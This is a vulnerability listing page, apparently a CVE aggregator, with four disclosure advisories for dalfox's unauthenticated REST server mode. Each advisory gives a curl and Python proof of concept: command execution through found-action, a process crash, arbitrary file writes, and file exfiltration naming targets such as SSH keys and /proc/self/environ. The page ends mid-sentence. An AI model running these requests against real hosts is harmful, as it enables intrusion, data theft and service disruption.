Hahwul
Products
1- 4 CVEs
Recent CVEs
4| CVE | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|
| CVE-2026-45087 | cri | 0.59 | — | — | May 12, 2026 | # GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode ## Summary When dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` — including `FoundAction` and `FoundActionShell` — is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered. ## Severity **Critical** (CVSS 3.1: 10.0) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — the server binds to `0.0.0.0` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered. - **Privileges Required:** None — no API key is enforced in the default configuration. - **User Interaction:** None. - **Scope:** Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS. - **Confidentiality Impact:** High — full read access to the host filesystem and secrets in the process environment. - **Integrity Impact:** High — arbitrary file writes, code deployment, persistence mechanisms. - **Availability Impact:** High — process kill, resource exhaustion, service disruption. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (lines 118–119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options - `pkg/scanning/foundaction.go` — `foundAction()` (lines 17–18): `exec.Command(options.FoundActionShell, "-c", afterCmd)` executed unconditionally ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - **CWE-15**: External Control of System or Configuration Setting ## Description ### Opt-in Authentication with a Dangerous Default `cmd/server.go` registers the `--api-key` flag with an empty string default: ```go // cmd/server.go:51 serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...") ``` `setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` A server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default. ### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping `POST /scan` deserializes the full `model.Options` struct from the JSON body: ```go // pkg/server/model.go:6-8 type Req struct { URL string `json:"url"` Options model.Options `json:"options"` } // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `model.Options` exposes both execution-control fields as JSON-tagged properties: ```go // pkg/model/options.go:83-84 FoundAction string `json:"found-action,omitempty"` FoundActionShell string `json:"found-action-shell,omitempty"` ``` `ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies both fields into `newOptions` — there is no stripping path: ```go // lib/func.go:118-119 "FoundAction": {&newOptions.FoundAction, options.FoundAction}, "FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell}, ``` ### Shell Execution on Any Finding `foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != ""` and any vulnerability is detected. None of these call sites check `options.IsAPI`: ```go // pkg/scanning/foundaction.go:12-18 func foundAction(options model.Options, target, query, ptype string) { afterCmd := options.FoundAction afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query) afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target) afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype) cmd := exec.Command(options.FoundActionShell, "-c", afterCmd) err := cmd.Run() ... } ``` Because the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed. ## Proof of Concept ```bash # Step 1 — Start a reflective XSS target (attacker-controlled) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] body = f'<html><body>{q}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — POST unauthenticated scan request with found-action payload curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "found-action": "echo owned >/tmp/dalfox_rce_marker", "found-action-shell": "bash", "use-headless": false, "worker": 1, "limit-result": 1 } }' # Step 4 — Confirm arbitrary command executed on the dalfox host cat /tmp/dalfox_rce_marker # Expected output: owned ``` No `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`. ## Impact - **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration. - Full read access to secrets, configuration files, and credentials visible to the dalfox process. - Arbitrary file writes: persistence, backdoor installation, data exfiltration staging. - Lateral movement using the dalfox host's network position and credentials. - The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments. ## Recommended Remediation ### Option 1: Require API key — make `--api-key` mandatory (preferred) Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path. ```go // cmd/server.go — in runServerCmd, before starting the server: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") fmt.Fprintln(os.Stderr, " Generate a key with: openssl rand -hex 32") os.Exit(1) } ``` ### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft. ```go // pkg/server/server.go — in postScanHandler, before calling ScanFromAPI: rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" ``` Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution. ##Credit Emmanuel David Github:- https://github.com/drmingler | |
| CVE-2026-45090 | hig | 0.45 | — | — | May 12, 2026 | ## Summary `ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != ""` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control. - **Privileges Required:** None — `--api-key` defaults to `""`, so no auth middleware is registered. - **User Interaction:** None. - **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority. - **Confidentiality Impact:** None. - **Integrity Impact:** None. - **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient. **Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`. ## Affected Component - `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445 - `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed ## CWE - **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error - **CWE-404**: Improper Resource Shutdown or Release ## Description ### Two-Stage Channel Lifecycle Ordering Error `ParameterAnalysis` allocates a single `results` channel shared by both worker stages: ```go // pkg/scanning/parameterAnalysis.go:397-408 paramsQue := make(chan string, concurrency) results := make(chan model.ParamResult, concurrency) // ← single channel for both stages go func() { for result := range results { // consumer exits when results is closed mutex.Lock() params[result.Name] = result mutex.Unlock() } }() ``` **First stage** (URL parameters in `p`): ```go // lines 410-437 for i := 0; i < concurrency; i++ { wgg.Add(1) go func() { processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog) wgg.Done() }() } // ... feed paramsQue ... close(paramsQue) wgg.Wait() close(results) // ← line 438: results is now closed; consumer goroutine exits ``` **Second stage** (POST-body parameters in `dp`): ```go // lines 440-448 var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) // ^^^^^^^ — same closed channel wggg.Done() }() } ``` When a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel: ```go // pkg/scanning/parameterAnalysis.go:299 results <- paramResult // panic: send on closed channel ``` A Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process. ### Trigger Conditions Are Both Attacker-Controlled **Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != ""`: ```go // parameterAnalysis.go:41-45 if options.Data != "" { if dp.Get(name) == "" { dp.Set(name, "") } } ``` The attacker sets `"data": "q=test"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `"mining-dict": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work. **Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist. ### PR #917 Fixed Different Bugs Commit `8a424d1` addressed: 1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex` 2. Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard Neither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched. ## Proof of Concept ```bash # Step 1 — Attacker-controlled reflective server python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def _h(self): qs = parse_qs(urlparse(self.path).query) n = int(self.headers.get('Content-Length', '0')) body = self.rfile.read(n).decode() if n else '' bq = parse_qs(body) v = qs.get('q', [''])[0] or bq.get('q', [''])[0] out = f'<html><body>{v}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(out))) self.end_headers() self.wfile.write(out) def do_GET(self): self._h() def do_POST(self): self._h() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18083), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Single unauthenticated request terminates the server process curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18083/?q=test", "options": { "data": "q=test", "mining-dict": true, "use-headless": false, "worker": 1 } }' # Expected: dalfox process exits immediately with: # goroutine N [running]: # panic: send on closed channel # pkg/scanning/parameterAnalysis.go:299 +0x... # Step 4 — Verify server is down curl -s http://127.0.0.1:16664/health # Expected: connection refused ``` No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write. ## Impact - **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required. - All in-flight scans are lost without results. - The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions. ## Recommended Remediation ### Option 1: Allocate a fresh `results` channel for the second stage (preferred) The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage. ```go // pkg/scanning/parameterAnalysis.go — replace the second stage block: var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) results2 := make(chan model.ParamResult, concurrency) // fresh channel go func() { for result := range results2 { mutex.Lock() params[result.Name] = result mutex.Unlock() } }() for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog) wggg.Done() }() } // ... feed paramsDataQue ... close(paramsDataQue) wggg.Wait() close(results2) // close after all writers are done ``` ### Option 2: Merge both parameter maps before the single worker stage Process `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design: ```go // Before the worker loop, merge dp into p (or into a unified queue): for k := range dp { // feed to the same paramsQue along with p entries } // Then run a single close(paramsQue) → wgg.Wait() → close(results) ``` This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug. ### Option 3: Add a `recover` in processParams goroutines (stopgap only) Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected: ```go go func() { defer func() { if r := recover(); r != nil { printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options) } wggg.Done() }() processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) }() ``` Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai). | |
| CVE-2026-45089 | hig | 0.45 | — | — | May 12, 2026 | ## Summary When dalfox is run in REST API server mode, the `output`, `output-all`, and `debug` fields in `model.Options` are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine's logging path. The logger opens the attacker-supplied path with `os.O_APPEND|os.O_CREATE|os.O_WRONLY` and writes scan log lines to it. Critically, this file write block lives outside the `IsLibrary` guard in `DalLog`, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. ## Severity **High** (CVSS 3.1: 8.2) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default. - **Attack Complexity:** Low — no preconditions; all trigger options (`output`, `output-all`, `debug`) are fully attacker-supplied in the JSON body. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is never registered. - **User Interaction:** None. - **Scope:** Unchanged — the file write stays within the dalfox process's OS authority. - **Confidentiality Impact:** None — this is a write-only primitive; no data is returned to the caller. - **Integrity Impact:** High — the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting. - **Availability Impact:** Low — corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `OutputFile`, `OutputAll`, `Debug`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 107): `OutputFile` explicitly propagated from caller options; `OutputAll` (line 167) and `Debug` (line 176) likewise - `internal/printing/logger.go` — `DalLog()` (lines 230–244): `os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)` executes outside the `IsLibrary` guard ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-434**: Unrestricted Upload of File with Dangerous Type (write-path variant) ## Description ### `output`, `output-all`, and `debug` Are Fully Attacker-Controlled `model.Options` exposes all three trigger fields with JSON tags: ```go // pkg/model/options.go:88,85,88 OutputFile string `json:"output,omitempty"` OutputAll bool `json:"output-all,omitempty"` Debug bool `json:"debug,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `Initialize` explicitly copies all three fields into `newOptions`: ```go // lib/func.go:107, 167, 176 "OutputFile": {&newOptions.OutputFile, options.OutputFile}, ... "OutputAll": {&newOptions.OutputAll, options.OutputAll}, ... "Debug": {&newOptions.Debug, options.Debug}, ``` ### The File Write Is Not Guarded by `IsLibrary` `Initialize` always sets `IsLibrary: true` (line 20) and `Silence: true` (line 44) in its returned options — the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. `DalLog` does respect this for stderr output: lines 203–228 route logs to `ScanResult.Logs` (not stderr) when `IsLibrary` is true. However, the file write block at lines 230–244 is positioned **after and outside** that `if-else`: ```go // internal/printing/logger.go mutex.Lock() if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path } else { // stderr printing (CLI path) } // ← file write is here, unconditionally — no IsLibrary check if options.OutputFile != "" { var fdtext string if ftext != "" { fdtext = ftext f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { fmt.Fprintln(os.Stderr, "output file error (file)") } defer f.Close() if _, err := f.WriteString(fdtext + "\n"); err != nil { fmt.Fprintln(os.Stderr, "output file error (write)") } } } mutex.Unlock() ``` The `ftext` variable is populated whenever `allWrite` is true (`options.Debug || options.OutputAll`). Since both are attacker-supplied, both conditions are trivially satisfied. ### What Gets Written Log lines of the form: ``` [*] Starting scan [SID:<id>] / URL: <attacker-supplied-url> [I] Checking BAV [E] connection refused [DEBUG] <internal state> ... ``` The URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like `[*] `, `[I] `, `[E] `), the **file path is entirely attacker-controlled**. The flags `O_CREATE` (creates the file if absent) and `O_APPEND` (never truncates) mean the attacker can: - Create new files at arbitrary paths - Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax) ### No Defense at Any Layer The same opt-in API key gap applies here as in all prior findings: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` There is no path allowlist, no `IsLibrary` guard on the file write, and no stripping of `OutputFile` from API-sourced requests anywhere in the codebase. ## Proof of Concept ```bash # Step 1 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 2 — Verify health (unauthenticated) curl -s http://127.0.0.1:16664/health # Expected: {"code":200,"msg":"ok"} # Step 3 — Trigger arbitrary file creation with attacker-controlled path curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:1/?x=1", "options": { "output": "/tmp/dalfox_sink_poc.log", "output-all": true, "debug": true, "use-headless": false } }' # Step 4 — Verify file was created and written to by the dalfox process sleep 2 cat /tmp/dalfox_sink_poc.log # Expected: # [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1 # [I] Checking BAV # [E] ... ``` No `X-API-KEY` header is required. Replace `/tmp/dalfox_sink_poc.log` with any path writable by the dalfox process: `/var/www/html/injected.txt`, `/etc/cron.d/dalfox`, `~/.ssh/authorized_keys` (appending log lines that won't break key format but pollute the file), etc. ## Impact - **Arbitrary file creation**: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories. - **Arbitrary file append/corruption**: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files). - **Partial content control via URL**: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats. - **No authentication required** in the default deployment. - When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Nullify all fields that touch the local filesystem before passing options to `ScanFromAPI`. This is the same remediation recommended for the `found-action` RCE and `custom-payload-file` file-read findings and should be applied as a single consolidated patch: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.OutputFile = "" rq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile="" rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.HarFilePath = "" ``` ### Option 2: Guard the file write with `IsLibrary` in `DalLog` Move the `OutputFile` write block inside the `else` branch so it only executes in non-library (CLI) mode: ```go // internal/printing/logger.go — restructure the if-else: if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) } else { // existing stderr printing logic... // file write belongs here, not after the if-else if options.OutputFile != "" && ftext != "" { f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) ... } } ``` This fix addresses the root structural cause — the file write was intended for CLI mode only, and gating it on `!IsLibrary` matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage. ### Option 3: Require `--api-key` at server startup As with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` All three options should be applied together. ##Credit Emmanuel David Github:- https://github.com/drmingler. | |
| CVE-2026-45088 | hig | 0.45 | — | — | May 12, 2026 | ## Summary When dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is not registered. - **User Interaction:** None. - **Scope:** Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority. - **Confidentiality Impact:** High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc. - **Integrity Impact:** None — this path is read-only. - **Availability Impact:** None. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options - `pkg/scanning/scan.go` — anonymous block (lines 341–368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-552**: Files or Directories Accessible to External Parties ## Description ### `custom-payload-file` Is Fully Attacker-Controlled `model.Options` exposes `CustomPayloadFile` with a JSON tag: ```go // pkg/model/options.go:33 CustomPayloadFile string `json:"custom-payload-file,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering: ```go // lib/func.go:117 "CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile}, ``` ### File Read and Exfiltration Path In `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path: ```go // pkg/scanning/scan.go:341-366 if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" { ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) if err != nil { printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options) } else { for _, customPayload := range ff { if customPayload != "" { for k, v := range params { if optimization.CheckInspectionParam(options, k) { ... tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options) query[tq] = tm } } } } } } ``` Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., `?q=<file-line>`). ### Condition Is Trivially Satisfiable The condition `options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])` is satisfied by setting `skip-discovery: true` in the JSON request body — a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: ["q"]`. The code then hardcodes `policy["Content-Type"] = "text/html"` and populates `params["q"]` automatically: ```go // pkg/scanning/scan.go:224-240 if len(options.UniqParam) == 0 { return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag") } for _, paramName := range options.UniqParam { params[paramName] = model.ParamResult{ Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(), } } policy["Content-Type"] = "text/html" ``` Both conditions are fully attacker-controlled through the JSON request body. ### No Defense at Any Layer The same opt-in API key guard from the first finding applies identically here: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read. ## Proof of Concept ```bash # Step 1 — Attacker-controlled receiver (logs q= parameter to stdout) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] print("[RECEIVED] q =", q, flush=True) body = b'<html><body>ok</body></html>' self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process) curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "custom-payload-file": "/etc/hostname", "only-custom-payload": true, "skip-discovery": true, "param": ["q"], "use-headless": false, "worker": 1 } }' # Expected output on the receiver (Step 1 terminal): # [RECEIVED] q = myhostname.local # For multi-line files (e.g. /etc/passwd), each line arrives as a separate request ``` No `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`). ## Impact - **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time. - **No authentication required** under the default configuration. - The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call. - Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.OutputFile = "" rq.Options.HarFilePath = "" ``` ### Option 2: Require `--api-key` at server startup Make authentication mandatory and refuse to start without it: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` Both options should be applied together. Option 2 